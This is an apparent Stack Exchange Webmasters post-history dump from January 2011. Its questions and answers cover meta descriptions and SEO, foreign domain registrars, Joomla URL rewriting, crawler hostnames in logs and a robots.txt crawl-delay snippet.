  <row Id="16135" PostHistoryTypeId="5" PostId="7576" RevisionGUID="89dd315f-f1c3-41a8-9d75-e0f33dba0f35" CreationDate="2011-01-11T01:03:55.570" UserId="3" Comment="deleted 2 characters in body" Text="I think a meta description can best be described as a marketing tool.&#xD;&#xA;&#xD;&#xA;Since they are not used for ranking they only serve as information for users. Since Google uses them most of the time it's an opportunity for you to give the user good information about what they'll get if they click the link. Sure, snippets with search term context are probably best in most cases, but a lot of the time it is not possible and the meta description is used as the fall back.&#xD;&#xA;&#xD;&#xA;In the context of Stack Exchange sites I see your point, but ultimately your opinion doesn't matter. Google does it how they do it, so now you need to create a good algo for what you'll shove into the meta description. Sounds like a good candidate for an A/B test. If you increase search engine referrals with good meta descriptions then you've settled it." />
  <row Id="16136" PostHistoryTypeId="4" PostId="7574" RevisionGUID="66527d1f-a647-4145-aac1-134efedd56c7" CreationDate="2011-01-11T01:05:45.727" UserId="3" Comment="edited title" Text="When is meta description still relevant?" />
  <row Id="16137" PostHistoryTypeId="5" PostId="7618" RevisionGUID="537f1ea6-3096-4cad-93d1-9e78153dacfc" CreationDate="2011-01-11T01:06:42.823" UserDisplayName="Greg" Comment="added 348 characters in body; added 5 characters in body" Text="Jeff,&#xD;&#xA;&#xD;&#xA;You should use a meta description tag because:&#xD;&#xA;&#xD;&#xA; 1. Google says so as pointed out by previous posters.&#xD;&#xA; 2. Google doesn't always pick great descriptions.&#xD;&#xA; 3. When Google has a more relevant description than your meta desc, Google uses their choice. But, only when it's more relevant than yours.&#xD;&#xA;&#xD;&#xA;In summery, there is low risk in using a meta description because your description only gets used when it's better than what Google finds on the page, and Google says that you should use one. &#xD;&#xA;&#xD;&#xA;In practice, while a meta description won't help you climb up the rankings, it can and will draw more clicks to your listing. A meta description that exactly matches the user's search will draw the most clicks.&#xD;&#xA;&#xD;&#xA;I could hunt around for &quot;evidence&quot;, but in SEO there is often little evidence. All we have are the opinions of respected professionals and Google's guidelines. &#xD;&#xA;&#xD;&#xA;http://www.seobook.com/video-optimizing-meta-description-tags-google&#xD;&#xA;&#xD;&#xA;If you have doubts, about whether or not to use something, view the source on wall's page and see if he uses it. " />
  <row Id="16138" PostHistoryTypeId="2" PostId="7619" RevisionGUID="b8a3cbcd-2ce3-49be-93d9-242a3e89b0be" CreationDate="2011-01-11T02:14:20.443" UserId="1757" Text="I'm getting pretty tired of repeating this, but I'll throw it out there *one more time*. **Meta descriptions aren't just used for SEO or by search engines.**&#xD;&#xA;&#xD;&#xA;When you bookmark a page in most web browsers, the meta description is used by the browser to save a description for the page. This has numerous uses, including for searching through your bookmarks.&#xD;&#xA;&#xD;&#xA;Likewise, when you share a link on Facebook, Twitter, social bookmarking sites, etc. the meta description is also used to give a brief description of the link. All of this adds convenience for users. Meta descriptions are also used by screen readers and could be used by other software that might need a description of the page.&#xD;&#xA;&#xD;&#xA;Microformats, OpenSearch, XFN, favicons, etc. all have no SEO value either. But that doesn't mean they're irrelevant or not useful to users. There's more to creating a webpage than just ranking well on Google." />
  <row Id="16139" PostHistoryTypeId="10" PostId="7616" RevisionGUID="51281164-dbc1-4535-86fb-c8b13f2b446a" CreationDate="2011-01-11T02:52:33.920" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16140" PostHistoryTypeId="2" PostId="7620" RevisionGUID="04bd9385-d5ee-49a4-a648-dda31ed5c34f" CreationDate="2011-01-11T04:21:47.533" UserDisplayName="Robert Springfield" Text="Please keep on contacting them, by email or by phone. " />
  <row Id="16141" PostHistoryTypeId="2" PostId="7621" RevisionGUID="e0b64b3a-0414-417d-bc8c-be710ef5289c" CreationDate="2011-01-11T06:30:38.787" UserId="4540" Text="None of the previous questions tackle some of the one-off (or further) countries' registries, beyond .co.uk, .it, et al. or else I'd have found an answer myself. I'm just looking for information for a vanity domain, so obviously I'm alright without an answer, but it's an unasked question (or at least, unanswered), and I'm not exactly in a hurry to give my credit card information over country lines, sight unseen.&#xD;&#xA;" />
  <row Id="16142" PostHistoryTypeId="1" PostId="7621" RevisionGUID="e0b64b3a-0414-417d-bc8c-be710ef5289c" CreationDate="2011-01-11T06:30:38.787" UserId="4540" Text="Opinions on .gr (Greek) registrars?" />
  <row Id="16143" PostHistoryTypeId="3" PostId="7621" RevisionGUID="e0b64b3a-0414-417d-bc8c-be710ef5289c" CreationDate="2011-01-11T06:30:38.787" UserId="4540" Text="&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="16144" PostHistoryTypeId="2" PostId="7622" RevisionGUID="7ee9b07d-3de4-4e63-b8e9-4d7bd34bef86" CreationDate="2011-01-11T06:42:04.533" UserId="3550" Text="Just read it on SEOMoz website. What is DmR and Dmt Abbreviated for?" />
  <row Id="16145" PostHistoryTypeId="1" PostId="7622" RevisionGUID="7ee9b07d-3de4-4e63-b8e9-4d7bd34bef86" CreationDate="2011-01-11T06:42:04.533" UserId="3550" Text="What does DmR and DmT means in Terms of SEO?" />
  <row Id="16146" PostHistoryTypeId="3" PostId="7622" RevisionGUID="7ee9b07d-3de4-4e63-b8e9-4d7bd34bef86" CreationDate="2011-01-11T06:42:04.533" UserId="3550" Text="&lt;seo&gt;" />
  <row Id="16147" PostHistoryTypeId="2" PostId="7623" RevisionGUID="4eede31d-18f2-4fb2-8e2b-dd6776017083" CreationDate="2011-01-11T07:42:59.220" UserId="1757" Text="It's based on the linkscape algorithm:&#xD;&#xA;&#xD;&#xA; - mR = mozRank&#xD;&#xA; - mT = mozTrust&#xD;&#xA; - DmR = Domain mozRank&#xD;&#xA; - DmT = Domain mozTrust" />
  <row Id="16148" PostHistoryTypeId="5" PostId="7605" RevisionGUID="51a1ded2-841c-493f-a3e4-c97990e37067" CreationDate="2011-01-11T08:13:34.433" UserId="210" Comment="added 1184 characters in body" Text="My experience has been, that on sites without meta descriptions, Google has in the past chosen the first bit of text it finds on the page when searching for the site by name, for example, in your case &quot;Stack Exchange&quot; or &quot;Stack Overflow&quot;. The problem is that first bit of text maybe alt tags and a menu. In one case, this was all it was and it ended up being quite confusing because it ended up being a bunch of bits and pieces that didn't make sense together.&#xD;&#xA;&#xD;&#xA;Here's an example: Search for &quot;western air calgary&quot;. The website doesn't have any meta descriptions and the description Google comes up with is:&#xD;&#xA;&#xD;&#xA;&gt; Western Air &amp; Power Ltd. contact products employment about us. 1.877.245.2822 1.403.243.2822 1919 Highfield Crescent SE Calgary, Alberta, Canada.&#xD;&#xA;&#xD;&#xA;I personally don't find this very useful as it doesn't give any description of what the company actually does or is about. It is pretty amazing what Google picked up because there &quot;Wester Air &amp; Power Ltd.&quot; is only in an alt tag (by itself) while there are quite a few other bits in alt tags as well. But because the page doesn't have much content, it's pretty much useless and would be much better with a meta description.&#xD;&#xA;&#xD;&#xA;**Edit (better example)**&#xD;&#xA;&#xD;&#xA;Yes, (to your comment) I would agree with you, but here's another example where that doesn't make quite as much sense.&#xD;&#xA;&#xD;&#xA;Search for &quot;body language speaker eliot hoppe&quot;. The second result has the following description:&#xD;&#xA;&#xD;&#xA;&gt; body language.&quot; Isidoro Yee, DDS, Guatemala City. &quot;Eliot Hoppe is an ...&#xD;&#xA;&#xD;&#xA;The page has quite a bit of text, but a good percentage of it's not actually what you'd want the user to see in a page description (testimonials, links, captions). What ends up showing up is good, but isn't directly what the page is about (and includes some confusing unrelated info). In this case, I think it would be good to add a meta description in the hope that Google would use it. At the moment, as it doesn't seem that Google can figure out what is actually the main content of the page. (This could also be partially solved by moving the content up in the HTML and moving other stuff down.)&#xD;&#xA;&#xD;&#xA;I've actually seen on the same website (eliothoppe.com) Google using alt tags and menus for the page description. After I added meta descriptions, Google starting using them instead and we saw an increase in traffic after the descriptions were added." />
  <row Id="16149" PostHistoryTypeId="5" PostId="7621" RevisionGUID="86eb65c1-0173-4fcc-9f08-c17ee21fff68" CreationDate="2011-01-11T08:39:28.760" UserId="3" Comment="added 122 characters in body; edited title; edited title" Text="None of the previous questions tackle some of the one-off (or further) countries' registries, beyond .co.uk, .it, et al. or else I'd have found an answer myself.&#xD;&#xA;&#xD;&#xA;Is it safe to buy a domain from a foreign country TLD from a registrar?&#xD;&#xA;&#xD;&#xA;http://www.iana.org/domains/root/db/&#xD;&#xA;&#xD;&#xA;I'm just looking for information for a vanity domain, so obviously I'm alright without an answer, but it's an unasked question (or at least, unanswered), and I'm not exactly in a hurry to give my credit card information over country lines, sight unseen.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16150" PostHistoryTypeId="4" PostId="7621" RevisionGUID="86eb65c1-0173-4fcc-9f08-c17ee21fff68" CreationDate="2011-01-11T08:39:28.760" UserId="3" Comment="added 122 characters in body; edited title; edited title" Text="Safety of purchasing country-specific domains from registrars?" />
  <row Id="16151" PostHistoryTypeId="2" PostId="7624" RevisionGUID="95f71428-a6e3-431c-a8f0-490af813441d" CreationDate="2011-01-11T09:11:48.830" UserId="1064" Text="Your original question (RE: .gr domains) poses an interesting point - while I can't vouch for any Greek registrars, I have worked with the Spanish registrar Nominalia for years without issue and they do offer .gr registrations at present. (I'm not with them anymore as they hiked their prices eventually and the dollar to euro conversion rate isn't as favorable as it used to be - still, it was fun practicing my Spanish on the e-mails they'd send)&#xD;&#xA;&#xD;&#xA;Note that you should only use a bona fide credit card (versus a debit card) when you're shopping online - regardless of where you're spending - because your liability for fraud is significantly reduced. (See [Debit Card: Consumer Protection][1] Wikipedia entry for basic explanation)&#xD;&#xA;&#xD;&#xA;It's far easier to report fraud on a credit card than haggle with your bank about fraudulent charges after money has been debited from your account - *caveat emptor* and all that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Debit_card#Consumer_protection" />
  <row Id="16152" PostHistoryTypeId="2" PostId="7625" RevisionGUID="bbaeaf0a-b1eb-43bb-8d2b-9d2f21546aa1" CreationDate="2011-01-11T10:03:07.050" UserId="798" Text="[Icon Dock][1] has some nice sets. It's a sub-site of ndesign-studio (.com) IIRC he also does custom work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://icondock.com/" />
  <row Id="16153" PostHistoryTypeId="2" PostId="7626" RevisionGUID="a9785cdc-58f1-45fb-a127-e85f07c25fac" CreationDate="2011-01-11T10:17:53.797" UserDisplayName="JP19" Text="Every country has specific rules. Be sure you comply with the rules. Broadly speaking, their are two categories:&#xD;&#xA;&#xD;&#xA;1) For some countries, any individual can register the domain. He/she need not be located in the country.&#xD;&#xA;&#xD;&#xA;2) For some countries, either the individual must be a resident, or have an office in the country.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Lookup on wikipedia for the specific extension you are interested in.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The care you need to take is: Some registrars will take care and refuse the registration if the address you specify does not satisfy the criteria. Others might just go ahead and register the domain, and you may face disqualification later.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16154" PostHistoryTypeId="2" PostId="7627" RevisionGUID="0eedd131-2d44-4384-a0f7-a7dab9cc222a" CreationDate="2011-01-11T10:44:47.620" UserId="2748" Text="Dude... you seriously need to try http://www.iconfinder.com, it is a icon search engine, it is great, offer great quality icons with all sorts of sizes." />
  <row Id="16155" PostHistoryTypeId="2" PostId="7628" RevisionGUID="66866960-da10-4e51-8a55-3d4607ce3ff0" CreationDate="2011-01-11T10:52:53.160" UserDisplayName="Vadim Barsukov" Text="How I can post my Facebook comments to my Drupal Site?" />
  <row Id="16156" PostHistoryTypeId="1" PostId="7628" RevisionGUID="66866960-da10-4e51-8a55-3d4607ce3ff0" CreationDate="2011-01-11T10:52:53.160" UserDisplayName="Vadim Barsukov" Text="How I can post my Facebook comments to my Drupal Site?" />
  <row Id="16157" PostHistoryTypeId="3" PostId="7628" RevisionGUID="66866960-da10-4e51-8a55-3d4607ce3ff0" CreationDate="2011-01-11T10:52:53.160" UserDisplayName="Vadim Barsukov" Text="&lt;drupal&gt;&lt;facebook&gt;" />
  <row Id="16158" PostHistoryTypeId="2" PostId="7629" RevisionGUID="a1caa84e-0f7a-4786-927c-b165f59c501d" CreationDate="2011-01-11T10:54:24.683" UserId="3090" Text="If they have a trademark that applies in your country (it's in a different language so I assume this would mean an international trademark) then I would strongly advise against using such a similar URL and site name. You are operating in the same field with the same name, which is what trademark law exists to prevent.&#xD;&#xA;&#xD;&#xA;If they do not have a trademark then there is nothing stopping you." />
  <row Id="16159" PostHistoryTypeId="2" PostId="7630" RevisionGUID="af636912-4a8b-45c3-a1be-8f4bc4cf3348" CreationDate="2011-01-11T12:00:14.053" UserId="4544" Text="Sometimes I come across sites that are different than others in terms of quality. For example (sorry for the ad), http://www.taskrabbit.com/ . The image quality is perfect, everything &quot;shines&quot; and the text,buttons, background is also super quality.&#xD;&#xA;&#xD;&#xA;How it's made? What's the secret?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="16160" PostHistoryTypeId="1" PostId="7630" RevisionGUID="af636912-4a8b-45c3-a1be-8f4bc4cf3348" CreationDate="2011-01-11T12:00:14.053" UserId="4544" Text="How To: Super quality images and text." />
  <row Id="16161" PostHistoryTypeId="3" PostId="7630" RevisionGUID="af636912-4a8b-45c3-a1be-8f4bc4cf3348" CreationDate="2011-01-11T12:00:14.053" UserId="4544" Text="&lt;website-design&gt;&lt;images&gt;" />
  <row Id="16170" PostHistoryTypeId="2" PostId="7635" RevisionGUID="77a506e9-aea3-4afc-884c-49765aaf8166" CreationDate="2011-01-11T12:27:15.683" UserId="304" Text="There's no secret, they've just made some good design decisions and got someone in who knows how to use Photoshop." />
  <row Id="16171" PostHistoryTypeId="2" PostId="7636" RevisionGUID="ecdda784-54a5-4fef-aaf5-90d6f461f03c" CreationDate="2011-01-11T12:31:03.073" UserId="925" Text="I've seen a few pages that have a section with &quot;Popular searches for this page&quot; and then have the search terms in a link pointing back to the same page (e.g. http://theenglishchillicompany.co.uk/the-complete-chilli-pepper-book-a-gardeners-guide-to-choosing-growing-preserving-and-cooking/)&#xD;&#xA;&#xD;&#xA;I assume they are doing it for SEO purposes (with more links to the page with the desired search terms). Does this make a difference? It seems strange that a link on page A to page A would be counted! Am I wrong?" />
  <row Id="16172" PostHistoryTypeId="1" PostId="7636" RevisionGUID="ecdda784-54a5-4fef-aaf5-90d6f461f03c" CreationDate="2011-01-11T12:31:03.073" UserId="925" Text="&quot;Popular searches for this page&quot; links with links to the same page, SEO difference?" />
  <row Id="16173" PostHistoryTypeId="3" PostId="7636" RevisionGUID="ecdda784-54a5-4fef-aaf5-90d6f461f03c" CreationDate="2011-01-11T12:31:03.073" UserId="925" Text="&lt;seo&gt;" />
  <row Id="16174" PostHistoryTypeId="2" PostId="7637" RevisionGUID="fe29e743-b15d-46bb-a9cc-f218cf200322" CreationDate="2011-01-11T12:32:37.600" UserId="3282" Text="Joomla 1.6 was released today and I'm wondering if anyone knows how to get rid of the /index.php/ part?&#xD;&#xA;&#xD;&#xA;How link looks now:&#xD;&#xA;&#xD;&#xA;&gt; http://www.example.org/index.php/stuff&#xD;&#xA;&#xD;&#xA;How link would look after URL rewrite:&#xD;&#xA;&#xD;&#xA;&gt; http://www.example.org/stuff&#xD;&#xA;&#xD;&#xA;The old code (j1.5) at this link doesn't work: http://docs.joomla.org/SEO_and_IIS_ISAPI" />
  <row Id="16175" PostHistoryTypeId="1" PostId="7637" RevisionGUID="fe29e743-b15d-46bb-a9cc-f218cf200322" CreationDate="2011-01-11T12:32:37.600" UserId="3282" Text="Joomla 1.6 URL rewrite on IIS7 (removing /index.php/)" />
  <row Id="16176" PostHistoryTypeId="3" PostId="7637" RevisionGUID="fe29e743-b15d-46bb-a9cc-f218cf200322" CreationDate="2011-01-11T12:32:37.600" UserId="3282" Text="&lt;url-rewriting&gt;&lt;joomla&gt;&lt;iis7&gt;" />
  <row Id="16182" PostHistoryTypeId="2" PostId="7638" RevisionGUID="73332eaa-3fcb-4bcd-a1d6-da16e9a90c56" CreationDate="2011-01-11T13:13:49.873" UserDisplayName="oceanhug" Text="I'm setting a personal Amazon EC2 server for myself and I want to use gollum (https://github.com/github/gollum) for a wiki.&#xD;&#xA;&#xD;&#xA;Gollum runs fine for me, but I want to password protect it. Gollum builds on the Sinatra/Webrick server. Who can tell how to put a user/password protection on" />
  <row Id="16183" PostHistoryTypeId="1" PostId="7638" RevisionGUID="73332eaa-3fcb-4bcd-a1d6-da16e9a90c56" CreationDate="2011-01-11T13:13:49.873" UserDisplayName="oceanhug" Text="Password protect my gollum-wiki (WebRick)" />
  <row Id="16184" PostHistoryTypeId="3" PostId="7638" RevisionGUID="73332eaa-3fcb-4bcd-a1d6-da16e9a90c56" CreationDate="2011-01-11T13:13:49.873" UserDisplayName="oceanhug" Text="&lt;htaccess&gt;&lt;password&gt;" />
  <row Id="16185" PostHistoryTypeId="2" PostId="7639" RevisionGUID="d72919ba-e7aa-48ad-992d-5ca32754a9f2" CreationDate="2011-01-11T13:34:26.243" UserId="233" Text="The page in question and it was slightly different to what I expected. I was expecting the &quot;popular search terms&quot; to link to an in-site search to show that and similar articles. A possible benefit of that (albeit small) would be to highlight the most important content.&#xD;&#xA;&#xD;&#xA;The way it is, they are simply adding more keywords into the page. The self-links add nothing. Google does use the anchor text of links from external pages in determining relevance, but self-links are largely ignored. And repeating multiple links with different anchor text certainly won't have any benefit." />
  <row Id="16186" PostHistoryTypeId="2" PostId="7640" RevisionGUID="428a4eef-817a-49c2-8d4e-e0c0516ea9d5" CreationDate="2011-01-11T13:42:03.237" UserId="1953" Text="I think the links themselves wouldn't count for much (as you said a link to the same page you're on would be easy to detect). However, it does seem like an easy way to pick up long tail search results. IE if people are using search terms that wouldn't appear naturally in content like &quot;growing and chilis and home greenhouse&quot; then it's not likely many (or any) competitors have that exact text on their page, in such cases simply being the only one with exact match phrase could be all it takes to rank #1. It seems trivial enough to setup a script that picks keywords with high conversion rates and are longer tail and auto populate that section of the page using the GA API. &#xD;&#xA;&#xD;&#xA;It's probably not something Google is particularly fond of, but if done well I can see how users could find this useful (or a variation of it) and it could help pick up high converting traffic for long tail queries." />
  <row Id="16187" PostHistoryTypeId="2" PostId="7641" RevisionGUID="56d098f0-66b5-46e9-b50f-f44eacd35ac1" CreationDate="2011-01-11T13:59:20.173" UserId="63" Text="They are professionals. As Steve mentions there is no 'secret' other than a combination of talent and experience. Designers who know how to present information and how to combine colours. As well as image editors/designers who know how to make colourful images and do so in a way that minimises the file size. &#xD;&#xA;&#xD;&#xA;If you don't have those skills then you need to hire someone to do them for you to achieve similar quality. Also use services such as [I Stock Photo][1] and [99 Designs][2] to get quality images. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.istockphoto.com/&#xD;&#xA;  [2]: http://99designs.com/" />
  <row Id="16188" PostHistoryTypeId="2" PostId="7642" RevisionGUID="7eab3d77-cfbb-4daf-b5f9-ec31faf7c269" CreationDate="2011-01-11T14:26:53.803" UserDisplayName="dole" Text="I need to arange the value and the lorem ipsum text to the bottom of the div as in the following [image][1], but everything I've tryed until now doesn't work.&#xD;&#xA;My html looks like this:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;product&quot;&gt; &#xD;&#xA;     &lt;span class=&quot;title&quot;&gt;Lorem Ipsum&lt;/span&gt;&#xD;&#xA;     &lt;div class=&quot;values&quot;&gt;&#xD;&#xA;       &lt;span class=&quot;price&quot;&gt;$29,225&lt;/span&gt;&#xD;&#xA;       &lt;span class=&quot;description&quot;&gt;Lorem ipsum dolor sit amet, consectetur ...&lt;/span&gt;&#xD;&#xA;     &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://img210.imageshack.us/img210/3139/counterc.gif" />
  <row Id="16189" PostHistoryTypeId="1" PostId="7642" RevisionGUID="7eab3d77-cfbb-4daf-b5f9-ec31faf7c269" CreationDate="2011-01-11T14:26:53.803" UserDisplayName="dole" Text="align to the bottom of the div" />
  <row Id="16190" PostHistoryTypeId="3" PostId="7642" RevisionGUID="7eab3d77-cfbb-4daf-b5f9-ec31faf7c269" CreationDate="2011-01-11T14:26:53.803" UserDisplayName="dole" Text="&lt;css&gt;" />
  <row Id="16191" PostHistoryTypeId="10" PostId="7642" RevisionGUID="44d708c6-df09-4206-8bf8-1109ed0f964e" CreationDate="2011-01-11T14:36:17.870" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16193" PostHistoryTypeId="2" PostId="7643" RevisionGUID="78773424-19ab-4365-bbc4-01479e4f5f6a" CreationDate="2011-01-11T15:28:57.437" UserId="3669" Text="When embedding a youtube video on my website, i get a box with a red 'x' in Internet Explorer(64 bit)&#xD;&#xA;&#xD;&#xA;Any ways to fix this? " />
  <row Id="16194" PostHistoryTypeId="1" PostId="7643" RevisionGUID="78773424-19ab-4365-bbc4-01479e4f5f6a" CreationDate="2011-01-11T15:28:57.437" UserId="3669" Text="Embedded youtube video does not show in IE8 64bit" />
  <row Id="16195" PostHistoryTypeId="3" PostId="7643" RevisionGUID="78773424-19ab-4365-bbc4-01479e4f5f6a" CreationDate="2011-01-11T15:28:57.437" UserId="3669" Text="&lt;internet-explorer&gt;&lt;flash&gt;" />
  <row Id="16196" PostHistoryTypeId="2" PostId="7644" RevisionGUID="7f957bf0-3fd2-4256-b0f9-2d5ed96e1e20" CreationDate="2011-01-11T15:53:51.000" UserId="3142" Text="Taken singly, it's easy to research versions and compatibility. Version information is readily available on each single part of a platform stack, such as MySQL. You can find out the latest version, stable version, and sometimes even the percentage of people adopting it by version (personally, I like seeing numbers on adoption rates).&#xD;&#xA;&#xD;&#xA;However, when trying to find the best possible mix of versions, I have a harder time. For example, &quot;if you're using MySQL 5.5, you'll need PHP version XX or higher.&quot;&#xD;&#xA;&#xD;&#xA;It gets even more difficult to mitigate when you throw higher level platforms into the mix such as Drupal, Joomla, etc.&#xD;&#xA;&#xD;&#xA;I do consider &quot;wizard&quot; like installers to be beneficial, such as the Bitnami installers. However, I always wonder if those solutions cater more to the least common denominator -- be all to many -- and as such, I think I'd be better to install things on my own. Such solutions do seem kind of slow to adopt new versions, slower than necessary, I suspect.&#xD;&#xA;&#xD;&#xA;**Is there a website or tool that consolidates versioning data in order to help a webmaster choose which versions to deploy or which upgrades to install, in consideration of all the other parts of the stack?**" />
  <row Id="16197" PostHistoryTypeId="1" PostId="7644" RevisionGUID="7f957bf0-3fd2-4256-b0f9-2d5ed96e1e20" CreationDate="2011-01-11T15:53:51.000" UserId="3142" Text="LAMP Stack Versioning -- Is there a website or version tracker source to help suggest the right versions of each part of a platform stack?" />
  <row Id="16198" PostHistoryTypeId="3" PostId="7644" RevisionGUID="7f957bf0-3fd2-4256-b0f9-2d5ed96e1e20" CreationDate="2011-01-11T15:53:51.000" UserId="3142" Text="&lt;linux&gt;&lt;lamp&gt;&lt;web-platform-installer&gt;" />
  <row Id="16199" PostHistoryTypeId="2" PostId="7645" RevisionGUID="239afed4-bb2d-439d-ba6d-fd129f14b1be" CreationDate="2011-01-11T15:54:36.357" UserId="2455" Text="I have a huge list of IP addresses recorded from various visitors to a website. A huge amount of the visitors, in some months over 70%, came from IP addresses that contained keywords such as google, yahoo, bot, crawler, etc.&#xD;&#xA;&#xD;&#xA;Does this mean that those users were infact search engine crawlers?&#xD;&#xA;&#xD;&#xA;If so, why are their so many crawlers in my visitor records in comparison to genuine human visitors? (and if not what's the explanation?)&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="16200" PostHistoryTypeId="1" PostId="7645" RevisionGUID="239afed4-bb2d-439d-ba6d-fd129f14b1be" CreationDate="2011-01-11T15:54:36.357" UserId="2455" Text="If an visitors IP address contains &quot;google&quot; or a similar keyword, does this mean they were a crawler?" />
  <row Id="16201" PostHistoryTypeId="3" PostId="7645" RevisionGUID="239afed4-bb2d-439d-ba6d-fd129f14b1be" CreationDate="2011-01-11T15:54:36.357" UserId="2455" Text="&lt;search-engines&gt;&lt;analytics&gt;&lt;ip-address&gt;&lt;site-crawler&gt;" />
  <row Id="16202" PostHistoryTypeId="5" PostId="5951" RevisionGUID="7ca31332-8819-4abc-8442-5ba8bd959b21" CreationDate="2011-01-11T16:07:28.263" UserId="3307" Comment="added 140 characters in body" Text="[Rackspace Cloud is coming to the UK soon][1]&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;[It went beta last week and you can now buy cloud servers in the UK.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.co.uk/cloud-hosting/public-cloud/register-interest/&#xD;&#xA;  [2]: http://www.rackspace.co.uk/cloud-hosting/" />
  <row Id="16203" PostHistoryTypeId="5" PostId="7645" RevisionGUID="21ddb87b-0ccb-45ce-8afd-424872bdd8b9" CreationDate="2011-01-11T16:17:13.200" UserId="2455" Comment="added 118 characters in body" Text="I have a huge list of IP addresses recorded from various visitors to a website. A huge amount of the visitors, in some months over 70%, came from IP addresses that contained keywords such as google, yahoo, bot, crawler, etc.&#xD;&#xA;&#xD;&#xA;Does this mean that those users were infact search engine crawlers?&#xD;&#xA;&#xD;&#xA;If so, why are their so many crawlers in my visitor records in comparison to genuine human visitors? (and if not what's the explanation?)&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;Here's an example of the data, 'livebot-65-55-209-133.search.live.com'. I'm not sure what exactly it is." />
  <row Id="16204" PostHistoryTypeId="2" PostId="7646" RevisionGUID="50f85079-5a00-4a6c-885f-a3b5c5a6e628" CreationDate="2011-01-11T16:23:32.663" UserId="4311" Text="That looks genuine, as it's fairly hard to spoof a source domain name -- crawlers can generate a lot of traffic. They often check pages for changes quite frequently.&#xD;&#xA;&#xD;&#xA;You can slow down many of them with a non-standard (but fairly well supported) addition to the [Robots Exclusion Protocol][1] -- create a file called robots.txt that's served from your web server's root director with the following contents:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Crawl-delay: 60&#xD;&#xA;&#xD;&#xA;Where the number on the second line is the number of seconds you want each crawler to wait between page loads on your site. (If you've already got a robots.txt file you'll need to modify it instead.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/&#xD;&#xA;" />
  <row Id="16205" PostHistoryTypeId="5" PostId="7646" RevisionGUID="b6c4918f-d955-4add-8336-8f3175578ad2" CreationDate="2011-01-11T16:42:53.700" UserId="4311" Comment="added 1 characters in body" Text="That looks genuine, as it's fairly hard to spoof a source domain name -- crawlers can generate a lot of traffic. They often check pages for changes quite frequently.&#xD;&#xA;&#xD;&#xA;You can slow down many of them with a non-standard (but fairly well supported) addition to the [Robots Exclusion Protocol][1] -- create a file called robots.txt that's served from your web server's root directory with the following contents:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Crawl-delay: 60&#xD;&#xA;&#xD;&#xA;Where the number on the second line is the number of seconds you want each crawler to wait between page loads on your site. (If you've already got a robots.txt file you'll need to modify it instead.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/&#xD;&#xA;" />
  <row Id="16206" PostHistoryTypeId="5" PostId="7645" RevisionGUID="354d1e6c-3b77-4250-b207-49ec208713ee" CreationDate="2011-01-11T16:44:32.943" UserId="2455" Comment="added 128 characters in body; added 25 characters in body" Text="I have a huge list of IP addresses recorded from various visitors to a website. A huge amount of the visitors, in some months over 70%, came from IP addresses that contained keywords such as google, yahoo, bot, crawler, etc.&#xD;&#xA;&#xD;&#xA;Does this mean that those users were infact search engine crawlers?&#xD;&#xA;&#xD;&#xA;If so, why are their so many crawlers in my visitor records in comparison to genuine human visitors? (and if not what's the explanation?)&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;Here's a few examples of the data:&#xD;&#xA;&#xD;&#xA;&gt; livebot-65-55-209-133.search.live.com&#xD;&#xA;&#xD;&#xA;&gt; crawl2.cosmixcorp.com&#xD;&#xA;&#xD;&#xA;&gt; crawl-66-249-70-78.googlebot.com&#xD;&#xA;&#xD;&#xA;&gt; lj511965.crawl.yahoo.net&#xD;&#xA;&#xD;&#xA;&gt; lj611054.inktomisearch.com&#xD;&#xA;&#xD;&#xA;&gt; ss125.dal0.gigablast.com&#xD;&#xA;&#xD;&#xA;&gt;crawl-15.cuill.com" />
  <row Id="16207" PostHistoryTypeId="2" PostId="7647" RevisionGUID="7c808435-87a8-4f2d-98db-b46c593587d3" CreationDate="2011-01-11T17:05:31.490" UserId="4550" Text="Does any one here recommend online services where I can have my PSD (or other image format) design sent and they give me the HTML+CSS of it?&#xD;&#xA;&#xD;&#xA;I saw a few of those on the internet, but I am looking for tried-and-tested services, and to see if there are any of those that you guys recommend me to stay away from." />
  <row Id="16208" PostHistoryTypeId="1" PostId="7647" RevisionGUID="7c808435-87a8-4f2d-98db-b46c593587d3" CreationDate="2011-01-11T17:05:31.490" UserId="4550" Text="PSD to CSS Service." />
  <row Id="16209" PostHistoryTypeId="3" PostId="7647" RevisionGUID="7c808435-87a8-4f2d-98db-b46c593587d3" CreationDate="2011-01-11T17:05:31.490" UserId="4550" Text="&lt;css&gt;&lt;photoshop&gt;" />
